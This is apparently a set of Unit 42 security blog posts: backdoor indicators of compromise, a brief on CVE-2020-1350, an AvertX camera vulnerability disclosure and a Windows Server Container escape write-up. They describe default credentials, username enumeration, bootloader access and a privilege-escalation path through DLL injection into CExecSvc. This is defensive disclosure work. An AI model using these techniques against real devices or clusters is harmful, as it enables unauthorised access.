AutoFocus customers can monitor activity via the rdat_backdoor tag.

Appendix

Files Associated with Attack on Telecommunications Organization

4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec - RDAT backdoor

e53cc5e62ba15e43877ca2fc1bee16061b4468545d5cc1515cb38000e22dd060 - Custom Mimikatz

476b40796be68a5ee349677274e438aeda3817f99ba9832172d81a2c64b0d4ae - Bitvise client

78584dadde1489a5dca0e307318b3d2d49e39eb3987de52e288f9882527078d5 - PowerShell downloader

RDAT Samples

7395a3ada245df6c8ff1d66fcb54b96ae12961d5fd9b6a57c43a3e7ab83f3cc2

8f943bc5b20517fea08b2d0acc9afe8990703e9d4f7015b98489703ca51da7eb

8120849fbe85179a16882dd1a12a09fdd3ff97e30c3dfe52b43dd2ba7ed33c2a

bcdb63b3520e34992f292bf9a38498f49a9ca045b7b40caab5302c76ca10f035

f42c2b40574dc837b33c1012f7b6f41fcccc5ebf740a2b0af64e2c530418e9e0

fcabb86331cd5e2fa9edb53c4282dfcb16cc3d2cae85aabf1ee3c0c0007e508c

7b5042d3f0e9f077ef2b1a55b5fffab9f07cc856622bf79d56fc752e4dc04b28

ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc

de3f1cc2d4aac54fbdebd5bd05c9df59b938eb79bda427ae26dedef4309c55a9

4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec

acb50b02ab0ca846025e7ad6c795a80dc6f61c4426704d0f1dd7e195143f5323

55282007716b2b987a84a790eb1c9867e23ed8b5b89ef1a836cbedaf32982358

ba380e589261781898b1a54c2889f3360db09c61b9155607d7b4d11fcd85bd9d

6322cacf839b9c863f09c8ad9fd0e091501c9ba354730ab4809bb4c076610006

RDAT C2 Domains

rdmsi[.]com

rsshay[.]com

sharjatv[.]com

wwmal[.]com

allsecpackupdater[.]com

tacsent[.]com

acrlee[.]com

kopilkaorukov[.]com

Related Infrastructure

digi.shanx[.]icu

tprs-servers[.]eu

oudax[.]com

kizlarsoroyur[.]com

intelligent-finance[.]site

Threat Brief: Microsoft DNS Server Wormable Vulnerability CVE-2020-1350

Posted on July 21, 2020June 7, 2024 by Mike Harbison

Executive Summary

In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.

This vulnerability exists within the Microsoft Windows Domain Name System (DNS) Server due to the improper handling of certain types of requests, specifically over port 53/TCP. Exploitation of this vulnerability is possible by creating an integer overflow, potentially leading to remote code execution.

This vulnerability only affects Windows DNS and the following builds of the Microsoft Windows operating system (OS):

Windows Server 2008/2008 R2
Windows Server 2012/2012 R2
Windows Server 2016
Windows Server 2019
Windows Server version 1803/1903/1909/2004 (Server Core installation)

Mitigation Actions

As always, we recommend our customers patch their systems as soon as possible. Microsoft also provided a workaround in cases where patches are not immediately possible. Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.

Conclusion

Palo Alto Networks Threat Prevention and Cortex XDR provide protection against the exploitation of this vulnerability:

Cortex XDR:
- Customers need to have PTU 137-33347 which adds dns.exe to the protected processes and it also applies the anti-exploit module on it. A list of all available protected processes can be found here. Note: This will prevent weaponized PoC's and not mitigate the crash PoC. Cortex XDR clients will receive the updated content automatically from the cloud. On-prem customers should download this manually.
Next-Generation Firewalls:
- The NGFW will prevent exploitation of the vulnerability by blocking overweight DNS SIG queries via the Palo Alto Networks Threat Prevention cloud-delivered security subscription. The relevant Threat ID is 58691.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

3 Vulnerabilities Found on AvertX IP Cameras

Posted on July 17, 2020June 7, 2024 by Asher Davila

Executive Summary

On February 24, 2020, Palo Alto Networks Unit 42 researchers found vulnerabilities present in AvertX IP cameras running the latest firmware.

Three vulnerabilities were found in AvertX IP cameras with model number HD838 and 438IR, as confirmed by AvertX. These products are surveillance cameras intended to be used outdoors with infrared and object detection technology built-in. They also allow users to store the recordings in the cloud, in a network video recorder (NVR) and also create backups in an SD memory card.

The following are the three vulnerabilities we found:

CVE-2020-11625: User enumeration
CVE-2020-11624: Weak password requirements
CVE-2020-11623: Exposed dangerous method or function

The detected vulnerabilities have the following impact:

Attackers can remotely enumerate the usernames of IP camera accounts, facilitating brute-force attacks. Since it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application, it eases brute-force attacks, in which the attacker verifies if, given a valid username, it is possible to find the corresponding password.
Attackers might be able to access the camera by using its default password because it does not force you to change the default password. A lot of IoT devices offer web-based configuration or administrative interfaces. Often these applications, once installed, are not properly configured and the default credentials provided for initial authentication and configuration are never changed. These default credentials can be obtained by reading the user manual of such a device. As a consequence, attackers, and most common IoT botnets, can use them to gain access to the IoT device.
Attackers with physical access to the universal asynchronous receiver-transmitter (UART) interface can access its bootloader. As a consequence, they can access and modify additional configurations, reset the configuration and even render the camera inoperable.

The AvertX IP cameras that our team analyzed are rebranded Hikvision cameras with modifications. AvertX has released a patch for these vulnerabilities and has also removed the UART connector and disabled the interface in the latest production batch.

According to the 2020 Unit 42 IoT Threat Report, security cameras make up only 5% of enterprise IoT devices, but they account for 33% of all security issues. This is because many cameras are designed to be consumer-grade, focusing on simplicity of use and deployment over security.

Palo Alto Networks customers are protected from these vulnerabilities via the ML-Powered Next-Generation Firewall, and IoT Security, a subscription available for the NGFW.

CVE-2020-11625: User Enumeration

Failed web user interface (UI) login attempts to the camera elicit different responses depending on whether a user account exists. Because the responses indicate whether a submitted username is valid or not, they make it easier to identify legitimate usernames.

If a login request is sent to ISAPI/Security/sessionLogin/capabilities using a username that exists on the camera, it will return the value of the salt given to that username, even if the password is incorrect:

The screenshot shows what happens when a login request is sent to ISAPI/Security/sessionLogin/capabilities on AvertX IP cameras for a username that exists on the camera. — Figure 1. Request using an existing username

However, if a login request is sent using a username that is not present in the IP camera’s database, it will return an empty salt value:

This shows what happens when a login request is sent to AvertX IP cameras for a username that is not present in the IP camera's database. — Figure 2. Request using a nonexistent username

This allows attackers to enumerate legitimate usernames, facilitating brute-force attacks.

CVE-2020-11624: Weak Password Requirements

The IP camera does not require users to change the default password for the admin account. Every time the user logs in with the default password, the camera shows a pop-up window suggesting the password be changed, but there’s no enforcement. An administrator can click “Cancel” and proceed to use the device without changing the password:

AvertX IP cameras show a pop-up window suggesting the user change the default password for the admin account, but the suggestion can be ignored. — Figure 3. Default password pop-up window that can be ignored

The device allows incautious administrators to continue using the default password (admin/1234). Additionally, it discloses the default username on the login.js script:

AvertX IP cameras disclose the default username on the login.js script. — Figure 4. Default username disclosed on login.js script

CVE-2020-11623: Exposed Dangerous Method or Function

There is an exposed UART interface that allows access to diagnostic and configuration functionalities, and even to system information that can be modified. This security vulnerability can be exploited by attackers with physical access to the UART interface.

The bootloader console — Figure 5. Bootloader console

The team was able to identify a 4-pin Molex connector that was unpopulated. Most UART interfaces in commercial products are between four and six pins, so the team proceeded to identify and test the pins.

Figure 6. Image of the printed circuit board (PCB), with a 4-pin Molex connector present

Figure 7. A closer view of the 4-pin Molex connector

Connecting to the UART

We connected to the UART interface through an Attify Badge, which is a hardware security tool that uses an FTDI chip, allowing it to speak a wide variety of communication protocols such as SPI, JTAG, I2C and UART. It also has a microUSB port, allowing it to be connected to a PC.

To determine the baud rate, we tested with the most common values. We opened a screen terminal to communicate with the camera’s UART using a baud rate of 115200. To obtain a Uboot prompt, we interrupted the booting process pressing CTRL + U. No username or password was required:

Figure 9. Bootloader console access (U-boot)

At this point, several commands are available to obtain information about this device including the firmware and configuration settings. Since this device is intended to be used outdoors, it is especially important to protect it against physical attacks as well as remote attacks.

Conclusion

In summary, the AvertX IP camera models HD838 and 438IR are a rebranded version of Hikvision cameras with modifications and have three vulnerabilities that can be used to compromise the device and even render it inoperable.

The first is the user enumeration, which allows attackers to perform brute force attacks more efficiently.
The second vulnerability is the lack of strong password requirements, which facilitates attackers’ efforts to find and compromise cameras using default credentials.
The last one is an exposed UART interface, which allows attackers with physical access to the camera to extract information off the device, change configuration values and even render the device inoperable.

AvertX responded quickly when contacted and has released a patch for the issues mentioned above. In addition, AvertX has removed the UART connector and disabled the interface starting with the latest production batch.

Palo Alto Networks protects its customers from attacks on AvertX IP cameras through the following platforms:

The ML-Powered Next-Generation Firewall, which is capable of identifying brute force attacks to block or alert them.
IoT Security, a subscription available for the NGFW, which detects brute force attacks on IoT devices and anomalous traffic.

Appendix

CVEs:

CVE-ID	Vulnerability type
CVE-2020-11625	User enumeration
CVE-2020-11624	Weak password requirements
CVE-2020-11623	Exposed dangerous method or function

Table 1. CVEs related to this post

*The CVE entries will be updated soon

References:

https://owasp.org/

Windows Server Containers Are Open, and Here's How You Can Break Out

Posted on July 15, 2020June 7, 2024 by Daniel Prizmant

Executive Summary

In my last post about reverse engineering Windows containers, I outlined the internal implementation of Windows Server Containers. After further investigating Windows Server Containers, I learned that running any code in these containers should be considered as dangerous as running admin on the host. These containers are not designed for sandboxing, and I found that escaping them is easy. Microsoft collaborated with us in fully understanding the security limitations of these containers. The purpose of this post is to raise awareness of the danger of running these containers.

To demonstrate this issue, I will present a container escape technique in Windows containers that I recently discovered. The technique allows processes running inside containers to write files to their host. This could be leveraged to achieve RCE (remote code execution) on the host. In Kubernetes environments, this exploit could be easily leveraged to spread between nodes. In other words, an attacker that successfully breaches a single application instance running inside a Windows Server Container could trivially breach the boundaries of the container and access other applications on the same machine. In the case of Kubernetes, the attacker could even access other machines. This may allow an attacker to gain access to a complete production workload after breaching just one endpoint instance.

This issue may affect users of cloud providers allowing the use of Windows Server Containers, including all of Microsoft’s AKS users using Windows. Palo Alto Networks customers are protected from this via Prisma™ Cloud.

Windows Server Containers

As revealed in more depth in my previous post, Microsoft developed two solutions for running Windows-based containers. The first solution is running each container inside a virtual machine (VM) based on HyperV technology. The second option, Windows Server Containers, rely on Windows kernel features, such as Silo objects, to set up containers. The latter solution resembles traditional Linux implementation for containers, i.e. processes that are run on the same kernel with logical mechanisms to isolate each from another.

Some users rely on Windows Server Containers, as opposed to HyperV containers, since running each container inside a VM comes at a performance cost, as documented by Microsoft:

"The additional isolation provided by Hyper-V containers is achieved in large part by a hypervisor layer of isolation between the container and the container host. This affects container density as, unlike Windows Server Containers, less sharing of system files and binaries can occur, resulting in an overall larger storage and memory footprint. In addition there is the expected additional overhead in some network, storage io, and CPU paths."

My research has led me to believe that the security of Windows Server Containers can be better documented. There are references indicating that the use of HyperV containers is more secure, but I could not find a piece of documentation that clearly mentions that Windows containers are susceptible to a breakout. When we reached out to Microsoft, their guidance was recommending users not run anything in a Windows Server Container that they wouldn’t be willing to run as an admin on the host. They also noted:

"Windows Server Containers are meant for enterprise multi-tenancy. They provide a high degree of isolation between workloads, but are not meant to protect against hostile workloads. Hyper-V containers are our solution for hostile multi-tenancy."

In the following sections, I will go through the details of the problem, including kernel internals of Windows symbolic links. Some background in Windows container internals, including Silos, as explained in my previous post, is recommended for better understanding of the proposed technique.

The Escape

Windows symbolic link resolution from inside a container supports the use of an undocumented flag that causes symbolic links to be resolved on the root directory of the host machine. That is, outside the container file system. While container processes should require special privileges to enable that flag, I found a technique to escalate privileges from a default container process that would result in this escape.

In the following sections, I will take you through the journey of how I discovered this technique and elaborate the reasons it was made possible.

Symbolic Links

Symbolic links in Windows aren’t well-documented, but they have been around since Windows NT. Windows NT came out with two types of symbolic links: object manager symbolic links and registry key symbolic links. These were not file-related, only an internal implementation of the operating system Microsoft chose to use. Only in Windows 2000 did file system symbolic links come out, and even those weren’t file-level symbolic links. They worked only as directory redirection. It was Windows Vista that first featured full file-level symbolic links. In this post, I will only cover object manager symbolic links. The others are outside the scope of this article.

Object Manager Symbolic Links

If you’re using Windows at all, you are probably using these without even knowing it. Things like the C drive letter are actually implemented using object manager symbolic links. Under the hood, when one accesses C:\ the object manager redirects the call to the actual mounted device.

C: is included in a list of symbolic links. — Figure 1. WinObj showing C: is just a symbolic link

The object manager handles not only files, but also registry, semaphores and many more named objects. When a user tries to access C:\secret.txt, the call arrives to the kernel function NtCreateFile with the path \??\C:\secret.txt, which is an NT path that the kernel knows how to work with. The path is modified by user-mode Windows API before the actual system call occurs. The reason for this path conversion is the \??\ part, which points the kernel to the correct directory in the root directory manager. Said directory will hold the target of the C: symbolic link.

Eventually ObpLookupObjectName is called. ObpLookupObjectName’s job is to resolve an actual object from a name. This function uses another kernel function, ObpParseSymbolicLinkEx, to parse part of the path, which is a symbolic link to its target.

Every part of the path is checked for being a symbolic link. This check is performed by ObpParseSymbolicLinkEx. The object manager iterates until it finds a leaf node, which is something that cannot be parsed any further by the object manager. If part of the path is a symbolic link, the function returns STATUS_REPARSE or STATUS_REPARSE_OBJECT and changes the relevant part of the path to the target of the symbolic link.

Figure 2. WinDbg showing the call stack of a CreateFile API

After all of this, our C:\secret.txt was parsed to its actual path, which will look something like \Device\HarddiskVolume3\secret.txt. The \Device\HarddiskVolume3 path will be opened under the root directory object (ObpRootDirectoryObject).

More About the Root Directory Object

The object manager root directory object is like a folder that contains all application-visible named objects (like files, registry keys and more). This mechanism allows applications to create and access these objects among themselves.

The Important Part

When accessing a file from inside a container, everything is parsed under a custom root directory object. When C: is parsed, it will be parsed against a clone C: symbolic link that will point it to a virtual mounted device and not the host’s file system.

Symbolic Links and Containers

I decided to follow the lookup process of a symbolic link from inside a container. A process inside a container calls CreateFile with the target file being C:\secret.txt. This path is transferred to \??\C:\secret.txt before getting to the kernel, as I explained earlier. Under the custom root directory object of the container, the system accesses ??, which is a reference to GLOBAL??. The system searches for a symbolic link C: under the GLOBAL?? directory and indeed finds such a symbolic link. At this point, the path is parsed to the target of said symbolic link, which in this case is \Device\VhdHardDisk{a36fab63-7f29-4e03-897e-62a6f003674f}\secret.txt. The kernel now proceeds to open said VhdHardDisk{...} device, but instead of searching this device under the Device folder in the root directory object of the host, it searches this device under the custom root directory object of the container and finds the virtual device of the container’s file system.

Figure 3. WinObj showing how a path is parsed under the root directory object

But something wasn’t right. When I browsed the Device folder under \Silos\1588\ I was expecting to find an object named VhdHardDisk{...} pointing to an actual device, but instead there was a symbolic link with the same name pointing to \Device\VhdHardDisk{...}. What was going on? How does Windows get to the actual device? At this point, I started researching the symbolic link lookup subject until I found a single line in slides from a talk by security researchers Alex Ionescu (CrowdStrike) and James Forshaw (Google Project Zero) at Recon 2018 mentioning there is a flag for a “global” symbolic link. I proceeded to reverse the relevant functions in order to find where this flag might be checked.

I eventually found a branch in ObpLookupObjectName that looked promising:

A branch in ObpLookupObjectName that held promising clues about a flag for a global symbolic link. — Figure 4. A branch in IDA that looked promising

The register edi holds the return value of ObpParseSymbolicLinkEx, so I searched this value – 368h – and found out it stands for STATUS_REPARSE_GLOBAL. So if ObpParseSymbolicLinkEx returns STATUS_REPARSE_GLOBAL, the object manager opens the file under ObpRootDirectoryObject, which is the regular root directory object, instead of getting the root directory of the Silo.

The Problem

At this point, I was certain I understood this behavior. I thought that creating a global symbolic link requires some special permission only system processes have. At the creation time of the container, the creating process has these special permissions and can create global symbolic links for the container to use, but no process inside the container can do that. The creating process controls what the global symbolic link points to and uses it only to access some special devices like the VhdHardDisk, so there is no real problem. It turned out, that was only partially true.

The Real Problem

I started searching for the value 368h that represents STATUS_REPARSE_GLOBAL in kernel code. After some work with IDA and WinDbg I ended up in the function ObpParseSymbolicLinkEx, which led me to find the relevant flag in the symbolic link object is at offset 28h (Object + 0x28). I placed a breakpoint in NtCreateSymbolicLinkObject, which is the function that creates a new symbolic link, and proceeded to create a new container using Docker. This raised many breaks for every creation of a new symbolic link for the container. This led me to the creation of the actual \Silos\1588\Device\VhdHardDisk{a36fab63-7f29-4e03-897e-62a6f003674f} object.

A reminder: This was the symbolic link object that behaved like a global symbolic link. I ended up putting an access breakpoint on the symbolic link object at offset 28h. Success! Right after the creation of the symbolic link, another function tried to modify the memory where I placed the breakpoint. The function was NtSetInformationSymbolicLink. This function seemed to get a handle to a symbolic link, open the relevant object and change things in it.

Luckily, this also got a wrapper function with the same name in ntdll, so we can easily call it from user mode. I reverse engineered this function and found a part of the code that checks for Tcb privilege in it. Tcb stands for Trusted Computing Base and its privileges description is, “Act as part of the operating system.”

I reversed ObpParseSymbolicLinkEx just enough to understand under what conditions it returns STATUS_REPARSE_GLOBAL as well as the exact parameters NtSetInformationSymbolicLink requires in order to change a symbolic link to make it global. These parameters are deliberately omitted from this post to make it harder for attackers to create an exploit.

Exploitation Plan

Knowing that I may be able to enable this global flag with Tcb privileges, and that it may allow for a container escape, I came up with the following plan to escape a container’s file system:

Create a symbolic link for the host’s C: drive.
Gain Tcb privileges.
Make said symbolic link global.
Access files on the host’s file system.

The only part missing from my plan was how to accomplish step two. We don’t have Tcb privileges in the container, do we? Well, our container processes do not have Tcb privileges by default. However, there is a special process in Windows containers called CExecSvc. This process is in charge of many aspects of the container execution, including communication between the host and the container. It also has Tcb privileges, so if a container process could execute code through CExecSvc, it would run with Tcb privileges, and the plan could unfold.

Figure 5. ProcessHacker showing CExecSvc has SeTcbPrivilege

Execution

I chose to do a simple DLL injection to CExecSvc, which included the attack logic. This worked well, and I was immediately able to gain access to the host’s file system. Because CExecSvc is a system process, I gained full, unbounded access to the entire host file system, exactly as any other system process has.

Azure Kubernetes Service (AKS)

Azure Kubernetes Service (AKS) is a managed container orchestration service, based on the open-source Kubernetes system, which is available on Microsoft Azure Public Cloud. An organization can use AKS to deploy, scale and manage Docker containers and container-based applications across a cluster of container hosts.

AKS uses Windows Server Containers for each pod, meaning every single Kubernetes cluster that has a Windows node is vulnerable to this escape.

Not only that, but once an attacker gains access to one of the Windows nodes, it is easy to spread to the rest of the cluster.

The following image shows that the Windows node has everything we need in order to control the rest of the cluster. This displays the situation after we managed to access the host (in this case, the node) from the container (in this case, the pod).

The Windows node shown includes everything an attacker needs to control the rest of the Kubernetes cluster. — Figure 6. Everything we need inside the Windows node

From here, one can just use kubectl to control the rest of the cluster.

Using kubectl from inside the node — Figure 7. Using kubectl from **inside** the node

Conclusion

In this post, I have demonstrated a complete technique to escalate privileges and escape Windows Server Containers. Users should follow Microsoft’s guidance recommending not to run Windows Server Containers and strictly use Hyper-V containers for anything that relies on containerization as a security boundary. Any process running in Windows Server Containers should be assumed to be with the same privileges as admin on the host. In case you are running applications in Windows Server Containers that need to be secured, we recommend moving these applications to Hyper-V containers.

I would like to thank Alex Ionescu and James Forshaw for advising me with this research.

Palo Alto Networks Prisma™ Cloud protects customers from having their containers compromised. Prisma Cloud Compute also provides a compliance feature called Trusted Images that allows restricting users to run only known and signed images. By using this feature, customers can further reduce the attack surface by preventing execution of malicious images.